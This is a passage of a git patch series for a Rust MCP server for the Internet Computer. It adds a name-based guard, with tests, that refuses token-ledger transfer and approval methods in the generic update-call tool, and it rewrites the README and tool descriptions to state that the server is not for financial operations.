From af6595f4422025bed08ee6d4ba3b87e4feb537be Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 12:13:14 +0000 Subject: [PATCH 01/22] Refuse ledger transfer/approval methods in canister_update_call MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Marketplace directories (Anthropic, OpenAI) prohibit connectors that initiate or execute money or crypto transfers on the user's behalf, and this server's purpose is reading, building, and operating canisters — not moving funds. canister_update_call now refuses the update methods that move value or grant spending rights on ICP ledgers, on every canister, before any network work. The disallow list leans on the ICRC standards that ledgers on ICP follow — ICRC-1/ICRC-2 (fungible transfers and approvals), ICRC-4 (batch transfers), ICRC-7/ICRC-37 (NFT transfers and approvals) — plus the ICP ledger's pre-ICRC surface (transfer, send_dfx, notify_dfx), the cycles ledger's withdraw/withdraw_from, and the ERC-20-style names of the older DIP20/EXT token standards (transferFrom, approve). Matching is exact on a normalized name (lowercased, separators stripped), never a substring test, so spelling variants are caught without false positives on names that merely contain a blocked one. The refusal is a recommendation, not a dead end: it tells the agent to send the user to a wallet or frontend they control in their own browser (e.g. https://oisy.com; for governance, the NNS dapp). The tool description states the policy up front — financial transactions are not supported, for marketplace compliance and user safety — and a test pins both the description and the refusal wording. The CMC's notify_create_canister / notify_top_up stay callable: they move no funds out of any account and blocking them would strand the documented recovery path for an interrupted ICP funding flow. The module docs are explicit that a name-based list is a guardrail for the standardized ledger surface, not a hermetic seal over bespoke canisters. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 2 +- crates/imcp2-core/src/compliance.rs | 191 ++++++++++++++++++++++++++++ crates/imcp2-core/src/lib.rs | 1 + crates/imcp2-core/src/tools.rs | 29 ++++- 4 files changed, 220 insertions(+), 3 deletions(-) create mode 100644 crates/imcp2-core/src/compliance.rs diff --git a/README.md b/README.md index b0ec86a..d31ca73 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ results). | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | | `canister_query` | `canister_id`, `method?` **or** `oql?`, `args?` (textual Candid), `derivation_origin?`, `account?`, `candid?` | READ a canister — provide EITHER a Candid `query` `method` (with `args`) OR an `oql` query (a JSON object string, run against `execute`). A Candid `method` query may be anonymous or as your account and returns textual Candid; an `oql` query **requires** `derivation_origin` and returns `columns` + `rows` (a table) with `has_more`, validating `start` against the schema on an empty result. On an OQL canister a Candid `method` query is rejected — use `oql`. `candid` is a fallback: the `.did` interface text to encode/decode against when the canister exposes no `candid:service` metadata. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | -| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | +| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: token-ledger transfer/approval methods (ICRC-1/ICRC-2 and related ICRC standards, the ICP ledger's legacy `transfer`, the cycles ledger's `withdraw`) are disallowed on every canister, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)). `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | | `get_app_principal` | `derivation_origin`, `account?` | The principal you act as at an app, without a call. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`). Echoes `derived_for_origin` / `requested` so an origin mismatch is visible | | `list_app_accounts` | `derivation_origin` | The user's Internet Identity accounts at an app — the default account plus any named ones — with name, number, last-used, and the derivation origin they were listed for. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`) | | `resolve_app` | `app_url` | Resolve an app URL to its Internet Identity derivation context: `application_origin`, the `derivation_origin` to use (declared in `/.well-known/ic-app.json`, else a built-in known-app value, else assumed = app origin — flagged via `derivation_origin_source`: `declared`/`known`/`app_url_default`, with `application_is_ic` echoing the gateway evidence), and the app's `alternative_origins` (informational). An origin with **no IC evidence** that would need the `app_url_default` assumption is **refused** (guessed-domain guard, with a "did you mean" repair when the host resembles a well-known app). Does not return a principal (no account chosen) or require auth — pass the `derivation_origin` to `get_app_principal`/`list_app_accounts` | diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs new file mode 100644 index 0000000..c38bbf0 --- /dev/null +++ b/crates/imcp2-core/src/compliance.rs @@ -0,0 +1,191 @@ +//! The financial-transactions guard for the generic update-call tool. +//! +//! This server is not a financial tool: its purpose is reading, building, and +//! operating canisters, and the marketplace directories it is listed in +//! (Anthropic's Connectors Directory, OpenAI's plugins directory) prohibit a +//! connector from initiating or executing money or crypto transfers, or +//! trades, on the user's behalf. `canister_update_call` therefore refuses the +//! ledger methods that move value or grant spending rights, and the refusal +//! redirects the user to perform the operation themselves in a wallet or +//! frontend they control (e.g. ) in their own browser. +//! +//! The list leans on the fact that token ledgers on the Internet Computer +//! follow the ICRC standards — ICRC-1/ICRC-2 for fungible tokens (ICRC-4 for +//! batch transfers), ICRC-7/ICRC-37 for NFTs — whose method names are fixed +//! by the standard; plus the ICP ledger's pre-ICRC methods, the cycles +//! ledger's withdrawal methods, and the ERC-20-style names older IC token +//! standards (DIP20, EXT) use. Matching is by NORMALIZED name (lowercased, +//! separators stripped — see [`normalize`]), so `Transfer`, `transfer_from`, +//! and `transferFrom` all match, and it applies on ANY target canister: +//! whether a given canister really is a ledger cannot be established +//! reliably, and the cost of a false positive is only that the user is +//! pointed at their own wallet or the app's own frontend. +//! +//! Two scope notes, so nobody over-claims what this guard does: +//! +//! * It is a guardrail enforcing a stated policy, not a hermetic seal — a +//! bespoke canister can expose value-moving methods under any name (a +//! custom swap method, an intermediary that forwards a transfer), which +//! no name-based list can enumerate. The policy itself ("this server +//! does not support financial transactions") is stated in the tool +//! description; this guard enforces it for the standardized ledger +//! surface, where real funds overwhelmingly live. +//! * The CMC's `notify_create_canister` / `notify_top_up` are deliberately +//! NOT listed: they move no funds out of any account (they finalize a +//! mint from ICP the ledger already holds for the CMC), and blocking +//! them would strand the documented recovery path for an interrupted +//! `icp_create_canister` ICP funding flow. + +/// Disallowed update methods in [`normalize`]d form, each with a short label +/// used in the refusal message. Grouped by the standard that fixes the name. +const DISALLOWED_METHODS: &[(&str, &str)] = &[ + // ICRC-1 / ICRC-2 / ICRC-4: fungible-token transfers, spending + // approvals, and batch transfers (icrc1_transfer, icrc2_approve, + // icrc2_transfer_from, icrc4_transfer_batch). + ("icrc1transfer", "an ICRC-1 token transfer"), + ("icrc2approve", "an ICRC-2 spending approval"), + ("icrc2transferfrom", "an ICRC-2 delegated token transfer"), + ("icrc4transferbatch", "an ICRC-4 batch token transfer"), + // ICRC-7 / ICRC-37: NFT transfers and approval management + // (icrc7_transfer, icrc37_transfer_from, icrc37_approve_tokens, + // icrc37_approve_collection, icrc37_revoke_*_approvals). + ("icrc7transfer", "an ICRC-7 NFT transfer"), + ("icrc37transferfrom", "an ICRC-37 delegated NFT transfer"), + ("icrc37approvetokens", "an ICRC-37 NFT spending approval"), + ("icrc37approvecollection", "an ICRC-37 collection spending approval"), + ("icrc37revoketokenapprovals", "an ICRC-37 NFT approval change"), + ("icrc37revokecollectionapprovals", "an ICRC-37 collection approval change"), + // The ICP ledger's pre-ICRC surface (transfer, send_dfx, notify_dfx). + // `transfer` doubles as the DIP20/EXT transfer method. + ("transfer", "a ledger token transfer"), + ("senddfx", "a legacy ICP-ledger transfer"), + ("notifydfx", "a legacy ICP-ledger transfer notification"), + // The cycles ledger's value movement (withdraw, withdraw_from) — the + // cycles ledger is ICRC-1/-2 plus these, and they move the user's cycles. + ("withdraw", "a cycles-ledger withdrawal"), + ("withdrawfrom", "a cycles-ledger delegated withdrawal"), + // ERC-20-style names fixed by the older IC token standards (DIP20's + // transferFrom/approve; `transfer` is already listed above). + ("transferfrom", "a delegated token transfer"), + ("approve", "a token spending approval"), +]; + +/// The financial-transactions gate: `Some(refusal)` when `method` is a +/// disallowed ledger method, `None` when the call may proceed. The refusal is +/// the complete tool error text — it names the method, states the policy and +/// why it exists, and tells the agent what to recommend to the user instead. +pub fn disallowed_update_method(method: &str) -> Option { + let normalized = normalize(method); + let (_, what) = DISALLOWED_METHODS.iter().find(|(m, _)| *m == normalized)?; + let method = method.trim(); + Some(format!( + "`{method}` is {what} — a financial transaction — and this server does not \ + initiate or execute financial transactions (token transfers, spending \ + approvals, payments, or trades) on the user's behalf. Methods defined by the \ + ICRC-1/ICRC-2 and related ledger standards are refused on every canister, \ + for marketplace compliance and user safety. Recommend that the user performs \ + this operation themselves, in a wallet or app frontend they control, in \ + their own web browser — e.g. their wallet at https://oisy.com, or for \ + governance the NNS dapp at https://nns.ic0.app. Do not look for another \ + route to the same operation through this server." + )) +} + +/// Normalize a method name for matching: keep ASCII alphanumerics only, +/// lowercased. Collapses the spelling variants one method name travels under +/// (`Transfer`, ` transfer `, `transfer_from`, `transferFrom`) without ever +/// matching a *different* name — matching is exact on the normalized form, +/// never a substring test. +fn normalize(method: &str) -> String { + method + .chars() + .filter(char::is_ascii_alphanumeric) + .collect::() + .to_ascii_lowercase() +} + +#[cfg(test)] +mod tests { + use super::*; + + // Every standardized value-moving method is refused, in its canonical + // spelling and in the case/separator variants the normalizer collapses. + #[test] + fn refuses_ledger_transfer_and_approval_methods() { + for method in [ + // ICRC fungible + batch + "icrc1_transfer", + "icrc2_approve", + "icrc2_transfer_from", + "icrc4_transfer_batch", + // ICRC NFT + "icrc7_transfer", + "icrc37_transfer_from", + "icrc37_approve_tokens", + "icrc37_approve_collection", + "icrc37_revoke_token_approvals", + "icrc37_revoke_collection_approvals", + // ICP ledger legacy + cycles ledger + "transfer", + "send_dfx", + "notify_dfx", + "withdraw", + "withdraw_from", + // ERC-20-style (DIP20/EXT) + "transferFrom", + "approve", + // Variants that must not slip through the normalizer + "Transfer", + "ICRC1_Transfer", + " icrc2_approve ", + "icrc2-transfer-from", + ] { + assert!( + disallowed_update_method(method).is_some(), + "{method} must be refused" + ); + } + } + + // Reads, fees, metadata, and the CMC recovery methods stay callable: the + // guard matches exactly (normalized), never by substring, so a name that + // merely CONTAINS a blocked one is not a false positive. + #[test] + fn allows_non_financial_methods() { + for method in [ + "icrc1_balance_of", + "icrc1_metadata", + "icrc1_fee", + "transfer_fee", + "get_transactions", + "notify_create_canister", + "notify_top_up", + "greet", + "set_name", + "register_user", + "http_request_update", + ] { + assert!( + disallowed_update_method(method).is_none(), + "{method} must be allowed" + ); + } + } + + // The refusal is the whole story: it names the method, states the policy + // (financial transactions, compliance + user safety), and redirects to a + // user-controlled wallet in the browser (oisy.com), per the listing + // requirements. Pin those pieces so the message can't degrade silently. + #[test] + fn refusal_names_method_policy_and_wallet() { + let msg = disallowed_update_method("icrc1_transfer").expect("must be refused"); + assert!(msg.contains("`icrc1_transfer`"), "{msg}"); + assert!(msg.contains("financial transaction"), "{msg}"); + assert!(msg.contains("marketplace compliance and user safety"), "{msg}"); + assert!(msg.contains("https://oisy.com"), "{msg}"); + // The method is echoed trimmed, so a padded spelling can't inject + // leading/trailing whitespace into the backticked name. + let padded = disallowed_update_method(" transfer ").expect("must be refused"); + assert!(padded.contains("`transfer` is"), "{padded}"); + } +} diff --git a/crates/imcp2-core/src/lib.rs b/crates/imcp2-core/src/lib.rs index 29e9b4e..f52c9ac 100644 --- a/crates/imcp2-core/src/lib.rs +++ b/crates/imcp2-core/src/lib.rs @@ -32,6 +32,7 @@ pub mod skills; pub mod tools; mod calls; +mod compliance; mod discover; mod management; diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index c7b4b75..b9a7af4 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -17,7 +17,7 @@ use rmcp::{ schemars, ErrorData as McpError, RoleServer, ServerHandler, }; -use crate::{calls, discover, identities, identities::Identities, management, skills}; +use crate::{calls, compliance, discover, identities, identities::Identities, management, skills}; /// Cap on the per-canister Candid probes open_app / discover_app_canisters run to /// fill in OQL / api-doc capability flags (#3). Discovery output is already bounded, @@ -432,7 +432,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. This server does not move money, tokens, or other financial assets on the user's behalf; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -452,6 +452,13 @@ impl IcTools { Ok(p) => p, Err(e) => return Ok(err(format!("invalid canister id: {e}"))), }; + // The financial-transactions gate (see `compliance`): ledger transfer / + // approval methods are refused on every canister, before any network + // work, with a redirect to a user-controlled wallet. Queries need no + // gate — a query cannot commit state, so it cannot move funds. + if let Some(refusal) = compliance::disallowed_update_method(&method) { + return Ok(err(refusal)); + } // The interface to encode/decode against: the canister's own // candid:service if exposed, else the caller-supplied `candid`. Update calls // are never redirected (OQL is read-only), so no oql_query_redirect here. @@ -2454,6 +2461,24 @@ mod tests { assert_eq!(cc.destructive_hint, Some(true)); } + // canister_update_call is a compliance-sensitive surface: its description + // must state that financial transactions are not supported (the ledger + // transfer/approval methods the `compliance` module refuses) and point at + // the user-controlled wallet, so directory reviewers and calling models + // both see the policy. Guards against the wording quietly reverting. + #[test] + fn update_call_tool_declares_financial_restriction() { + let tools = super::IcTools::tool_router().list_all(); + let tool = tools + .iter() + .find(|t| &*t.name == "canister_update_call") + .expect("canister_update_call tool not found"); + let desc = tool.description.as_deref().unwrap_or_default(); + assert!(desc.contains("FINANCIAL TRANSACTIONS ARE NOT SUPPORTED"), "{desc}"); + assert!(desc.contains("icrc1_transfer"), "{desc}"); + assert!(desc.contains("https://oisy.com"), "{desc}"); + } + // EVERY tool must declare an outputSchema so a model knows the shape of its // reply — and MCP requires that schema to be object-rooted. This guards the // whole surface: a new tool added without an output schema fails here. From 6ddd4a16c49ca139e2c46713d885354ad48f59e2 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 12:20:50 +0000 Subject: [PATCH 02/22] Remove financial framing; state the server is not for financial operations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The marketplace-compliance posture (top-up instructions-only, ledger transfer/approval methods refused) needs the surrounding material to say the same thing: this MCP server is infrastructure tooling and is not intended for financial operations. - README: a 'Not for financial operations' statement up front; the skills enumeration drops DeFi; DEX-app names (MULTI/DEX, ICPSwap) in examples give way to neutral ones (NNS, Oisy), with the known-app registry and its wrong-TLD repair behavior unchanged in code. - Tool descriptions and server instructions: same example cleanup, plus a NOT FOR FINANCIAL OPERATIONS paragraph in the server instructions that tells agents to send users to a wallet they control (oisy.com) for such operations. - Landing page (src/assets/index.html bundle): the wallet-balance chat mock becomes an app-data read, the portfolio/DEX example prompts become neutral app examples, the tool-group copy stops claiming server-side top-ups, and the trust section gains a 'Not for financial operations' card. Only the embedded template changed; decoded-value equality is asserted around the re-encode. - Cargo.toml: drop the cryptography::cryptocurrencies crates.io category — network/api tooling categories remain. - Directory-submission docs: the financial-transactions blockers now record the shipped posture (instructions-only top-up, ledger-method refusals, stated policy) and keep the honest caveats: the icp_create_canister icp path still executes an ICP-to-cycles conversion and needs an explicit decision, and a name-based guard covers the standardized ledger surface, not bespoke canisters. The listing description draft and reviewer instructions match the new behavior. Factual technical references to ledgers (reading a ledger is a public Candid query) and the ckUSDC lookup examples stay: identifying what a canister is remains core, non-financial functionality. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- Cargo.toml | 1 - README.md | 26 ++++--- crates/imcp2-core/src/discover.rs | 2 +- crates/imcp2-core/src/tools.rs | 19 +++-- docs/anthropic-directory-submission.md | 97 +++++++++++++++++--------- docs/openai-directory-submission.md | 30 ++++++-- src/assets/index.html | 2 +- 7 files changed, 118 insertions(+), 59 deletions(-) diff --git a/Cargo.toml b/Cargo.toml index 321c1b3..0280316 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -15,7 +15,6 @@ categories = [ "network-programming", "web-programming::http-server", "api-bindings", - "cryptography::cryptocurrencies", ] # Everything the library and the bundled binary compile from ships; the # deployment scaffolding (container, systemd/native deploy, dashboards, CI, diff --git a/README.md b/README.md index b0ec86a..81d5f4b 100644 --- a/README.md +++ b/README.md @@ -8,6 +8,15 @@ encoding/decoding and signing against the IC via [`ic-agent`](https://github.com/dfinity/agent-rs). The MCP layer is the [official Rust SDK](https://github.com/modelcontextprotocol/rust-sdk) (`rmcp`). +**Not for financial operations.** IMCP2 is infrastructure tooling for reading, +building, and operating canisters. It does **not** initiate or execute +financial transactions — money or token transfers, spending approvals, +payments, or trades — on the user's behalf: `canister_update_call` refuses the +ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods, and +`icp_top_up_canister` returns CLI instructions instead of executing anything. +For financial operations, users act themselves in a wallet or frontend they +control (e.g. [oisy.com](https://oisy.com)), in their own browser. + ## Use as a library Published on [crates.io](https://crates.io/crates/imcp2), API docs on @@ -133,10 +142,10 @@ results). | Tool | Args | Returns | |------|------|---------| -| `open_app` | `app` (name **or** URL) | **One-call entry point** when a user names/links an app: resolves the Internet Identity `derivation_origin` *and* discovers the canisters behind it, together. A name or bare host is matched to the known-app registry first (so a wrong-TLD guess like `multidex.com` repairs to the canonical URL); an explicit `https://` URL is resolved as given. An unknown bare name, or a URL with no IC evidence, is *refused* (never guessed). Also probes the app's own canisters and reports per-canister `oql`/`api_doc_available` capability flags plus a caller-gated data-access note (which canister holds the app data, and the origin to read it as the user). Wraps `resolve_app` + `discover_app_canisters`; no auth | +| `open_app` | `app` (name **or** URL) | **One-call entry point** when a user names/links an app: resolves the Internet Identity `derivation_origin` *and* discovers the canisters behind it, together. A name or bare host is matched to the known-app registry first (so a wrong-TLD guess repairs to the canonical URL); an explicit `https://` URL is resolved as given. An unknown bare name, or a URL with no IC evidence, is *refused* (never guessed). Also probes the app's own canisters and reports per-canister `oql`/`api_doc_available` capability flags plus a caller-gated data-access note (which canister holds the app data, and the origin to read it as the user). Wraps `resolve_app` + `discover_app_canisters`; no auth | | `discover_app_canisters` | `domain` | Canister ids behind a web domain — app-declared App Connect metadata first (`/ai-connect.html`'s `ic:canister-id` meta, `/.well-known/ic-app.json` manifest), then the frontend via `x-ic-canister-id` and backend candidates via `/env.json` + JS-bundle mining — each with provenance, its IC dashboard label/type where known, and (for the app's own canisters) `oql`/`api_doc_available` capability flags from a one-shot Candid probe | | `icp_find_canister_by_name` | `query` | Canister ids matching a name/symbol, searched in the IC dashboard's service registries — ICRC token ledgers (e.g. `ckUSDC`) and the SNS project catalog | -| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set (NNS, Oisy, MULTI/DEX, ICPSwap). The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | +| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set of well-known IC apps (e.g. NNS, Oisy). The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | | `icp_lookup_canister_info_by_id` | `canister_id` | What a canister IS, per the IC dashboard: label/name, type, controllers, subnet, module hash, latest upgrade proposal | | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | @@ -174,7 +183,7 @@ candidates, pick by label, prefer production/`IC_` ids, and confirm with Acting **for the user** at an app: 0–2. **`open_app(name-or-URL)`** — the one-call entry point. Pass the *name* the user - said (well-known apps NNS/Oisy/MULTI/DEX/ICPSwap resolve offline) or a URL you + said (well-known apps, e.g. NNS and Oisy, resolve offline) or a URL you have; it returns the `derivation_origin` **and** the app's canisters in one shot (it runs `resolve_app` + `discover_app_canisters` concurrently under the hood). **Never guess a domain from a name** — a lookalike like `.com` is an @@ -182,8 +191,8 @@ Acting **for the user** at an app: refused (find the real URL — web-search or ask the user), and a URL that resolves to `app_url_default` while showing **no IC evidence** (no valid `x-ic-canister-id` gateway header, no `ic-app.json` derivation origin) is refused too; when the host - resembles a known app the error names it and gives the real URL ("did you mean - MULTI/DEX → `https://multidex.ai`"). For a single step, the narrower tools remain: + resembles a known app the error names it and gives the real URL (a + "did you mean" repair). For a single step, the narrower tools remain: **`icp_find_app_by_name`** (name→URL only), **`resolve_app(url)`** (origin only), **`discover_app_canisters(url)`** (canisters only). 3. **`list_app_accounts`** — if there's more than one account, ask which to use (and @@ -297,9 +306,8 @@ token (see Auth). > and reuse it: `open_app` (or `resolve_app`) turns an app name/URL into it and > reports how — `derivation_origin_source`: **declared** > (`/.well-known/ic-app.json` → `derivation_origin`), else a built-in **known-app** -> value for a few apps that pin a custom origin without declaring it (NNS → -> `https://nns.ic0.app`, Oisy → `https://oisy.com`, MULTI/DEX → -> `https://hcv4s-…icp0.io`, ICPSwap → `https://app.icpswap.com`; an app's own +> value for a few apps that pin a custom origin without declaring it (e.g. NNS → +> `https://nns.ic0.app`, Oisy → `https://oisy.com`; an app's own > declaration always overrides this), else the app origin *assumed* > (**app_url_default**). Feeding that resolved origin to an identity tool records > `derivation_origin_source` = **explicit**. Every identity result echoes @@ -328,7 +336,7 @@ token (see Auth). `icp_list_skills` / `icp_get_skill` expose the official Internet Computer [skills](https://skills.internetcomputer.org) — authoritative, current how-to guides for authoring and shipping IC apps (the Motoko language, the `mops` and -`icp` CLIs, cycles management, stable memory & upgrades, canister security, DeFi, +`icp` CLIs, cycles management, stable memory & upgrades, canister security, auth, …). The catalogue is fetched live from the registry's manifest (`/api/skills.json`, cached ~15 min) and each skill's `SKILL.md` on demand; nothing is bundled, so the agent always sees the current skills. They are also diff --git a/crates/imcp2-core/src/discover.rs b/crates/imcp2-core/src/discover.rs index 8ee8fc0..8f2c82d 100644 --- a/crates/imcp2-core/src/discover.rs +++ b/crates/imcp2-core/src/discover.rs @@ -1778,7 +1778,7 @@ impl From<(String, Vec)> for FindCanisterOutput { /// Arguments for `icp_find_app_by_name`. #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct FindAppArgs { - /// The app name to look up, e.g. "Oisy", "NNS", "MULTI/DEX", "ICPSwap". + /// The app name to look up, e.g. "Oisy", "NNS". pub name: String, } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index c7b4b75..62aabd7 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -914,7 +914,7 @@ impl IcTools { } #[tool( - description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME (e.g. \"MULTI/DEX\", \"Oisy\", \"NNS\") or a URL (e.g. \"https://oisy.com\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess like \"multidex.com\" repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", + description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME (e.g. \"Oisy\", \"NNS\") or a URL (e.g. \"https://oisy.com\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the 